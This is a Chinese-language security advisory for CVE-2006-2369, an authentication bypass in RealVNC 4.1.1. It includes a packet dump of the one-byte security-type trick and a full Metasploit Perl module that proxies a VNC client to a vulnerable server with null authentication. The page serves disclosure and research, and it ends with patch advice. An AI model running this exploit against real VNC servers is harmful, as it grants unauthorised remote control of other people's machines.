首页 -> 安全研究

安全研究

安全漏洞
RealVNC远程认证绕过漏洞

发布日期:2006-05-15
更新日期:2006-05-16

受影响系统:
RealVNC RealVNC 4.1.1
不受影响系统:
RealVNC RealVNC Personal Edition 4.2.3
RealVNC RealVNC Free Edition 4.1.2
RealVNC RealVNC Enterprise Edition 4.2.3
描述:
BUGTRAQ  ID: 17978
CVE(CAN) ID: CVE-2006-2369

RealVNC VNC Server是一款远程终端控制软件。

RealVNC VNC Server采用的RFB(远程帧缓冲区)协议允许客户端与服务端协商合适的认证方法,协议的实现上存在设计错误,远程攻击者可以绕过认证无需口令实现对服务器的访问。

具体操作细节如下:

1) 服务端发送其版本“RFB 003.008\n”
2) 客户端回复其版本“RFB 003.008\n”
3) 服务端发送1个字节,等于所提供安全类型的编号
3a) 服务端发送字节数组说明所提供的安全类型
4) 客户端回复1个字节,从3a的数组中选择安全类型
5) 如果需要的话执行握手,然后是服务端的“0000”

RealVNC 4.1.1或之前版本在实现RFB 003.008协议时没有检查判断在上面第4步中客户端所发送的字节是否为服务器在3a步中所提供的,因此认证就从服务端转移到了客户端。攻击者可以强制客户端请求“Type 1 - None”为安全类型,无需口令字段便可以访问服务器。

以下是典型的报文dump:

Server -> Client: 52 46 42 20 30 30 33 2e 30 30 38 0a <- Server version
Client -> Server: 52 46 42 20 30 30 33 2e 30 30 38 0a <- Client version
Server -> Client: 01 02 <- One field follows... and that field is 02
(DES Challenge)
Client -> Server: 01 <- Ahh, the lovely 1 byte exploit! Beautiful, isn't it?
Server -> Client: 00 00 00 00 <-- Authenticated!

<*来源:James Evans (iamjamesevans@gmail.com
        Steve Wiseman
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114771408013890&w=2
        http://secunia.com/advisories/20107/print/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::realvnc_41_bypass;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use POSIX;

my $advanced = {};
my $info =
  {
    'Name'           => 'RealVNC 4.1 Authentication Bypass',
    'Version'        => '$Revision: 1.1 $',
    'Authors'        => [ 'H D Moore <hdm[at]metasploit.com>' ],
    'Description'    =>
      Pex::Text::Freeform(qq{
        This module exploits an authentication bypass flaw in version
    4.1.0 and 4.1.1 of the RealVNC service. This module acts as a proxy
    between a VNC client and a vulnerable server. Credit for this should
    go to James Evans, who spent the time to figure this out after RealVNC
    released a binary-only patch.
}),

    'Arch'           => [  ],
    'OS'             => [  ],
    'Priv'           => 0,

    'UserOpts'       =>
      {
        'LPORT'   => [ 1, 'PORT', 'The local VNC listener port',  5900      ],
        'LHOST'   => [ 1, 'HOST', 'The local VNC listener host', "0.0.0.0"  ],
        'RPORT'   => [ 1, 'PORT', 'The remote VNC target port', 5900      ],
        'RHOST'   => [ 1, 'HOST', 'The remote VNC target host'],
        'AUTOCONNECT' => [1, 'DATA', 'Automatically launch vncviewer', 1],
      },

    'Refs'            =>
      [
        ['URL', 'http://secunia.com/advisories/20107/']
      ],

    'DefaultTarget'  => 0,
    'Targets'        =>
      [
        [ 'RealVNC' ],
      ],

    'Keys'           => [ 'realvnc' ],

    'DisclosureDate' => 'May 15 2006',
  };

sub new
{
    my $class = shift;
    my $self;

    $self = $class->SUPER::new(
        {
            'Info'     => $info,
            'Advanced' => $advanced,
        },
        @_);

    return $self;
}

sub Exploit
{
    my $self = shift;
    my $server = IO::Socket::INET->new(
        LocalHost => $self->GetVar('LHOST'),
        LocalPort => $self->GetVar('LPORT'),
        ReuseAddr => 1,
        Listen    => 1,
        Proto     => 'tcp');
    my $client;

    # Did the listener create fail?
    if (not defined($server))
    {
        $self->PrintLine("[-] Failed to create local VNC listener on " . $self->GetVar('SSHDPORT'));
        return;
    }

    if ($self->GetVar('AUTOCONNECT') =~ /^(T|Y|1)/i) {
        if (! fork()) {
            system("vncviewer 127.0.0.1::".$self->GetVar('LPORT'));
            exit(0);
        }        
    }

    $self->PrintLine("[*] Waiting for VNC connections to " . $self->GetVar('LHOST') . ":" . $self->GetVar('LPORT') . "...");

    while (defined($client = $server->accept()))
    {
        $self->HandleVNCClient(fd => Msf::Socket::Tcp->new_from_socket($client));
    }

    return;
}

# Stolen from InjectVNCStage.pm
sub HandleVNCClient
{
    my $self = shift;
    my ($fd) = @{{@_}}{qw/fd/};
    my $rhost;
    my $rport;

    # Set the remote host information
    ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

    # Create a connection to the target system
    my $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $self->GetVar('RHOST'),
        'PeerPort' => $self->GetVar('RPORT'),
        'SSL'      => $self->GetVar('SSL')
    );
    
    if ($s->IsError) {
        $self->PrintLine('[*] Could not connect to the target VNC service: ' . $s->GetError);
        $fd->Close;
        return;
    }
    
    my $res = $s->Recv(-1, 5);
    
    # Hello from server
    if ($res !~ /^RFB 003\.008/) {
        $self->PrintLine("[*] The remote VNC service is not vulnerable");
        $fd->Close;
        $s->Close;
        return;
    }
    # Send it to the client
    $fd->Send($res);
    
    # Hello from client
    $res = $fd->Recv(-1, 5);
    if ($res !~ /^RFB /) {
        $self->PrintLine("[*] The local VNC client appears to be broken");
        $fd->Close;
        $s->Close;
        return;
    }
    # Send it to the server
    $s->Send($res);
    
    # Read the authentication methods from the server
    $res = $s->Recv(-1, 5);
    
    # Tell the client that the server only supports NULL auth
    $fd->Send("\x01\x01");
    
    # Start pumping data between the client and server
    if (! fork()) {
        $self->PrintLine("[*] Proxying data between the connections...");
        $self->VNCProxy($s->Socket, $fd->Socket);
        exit(0);
    }
    return;
}

sub VNCProxy {
  my $self = shift;
  my $srv = shift;
  my $cli = shift;

  foreach ($srv, $cli) {
    $_->blocking(1);
    $_->autoflush(1);
  }

  my $selector = IO::Select->new($srv, $cli);

  LOOPER:
    while(1) {
      my @ready = $selector->can_read;
      foreach my $ready (@ready) {
        if($ready == $cli) {
          my $data;
          $cli->recv($data, 8192);
          last LOOPER if (! length($data));    
          last LOOPER if(!$srv || !$srv->connected);
          eval { $srv->send($data); };
          last LOOPER if $@;
        }
        elsif($ready == $srv) {
          my $data;
          $srv->recv($data, 8192);
          last LOOPER if(!length($data));
          last LOOPER if(!$cli || !$cli->connected);
          eval { $cli->send($data); };
          last LOOPER if $@;
        }
      }
    }
}


1;

建议:
厂商补丁:

RealVNC
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.realvnc.com/download.html

浏览次数:11063
严重程度:10(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障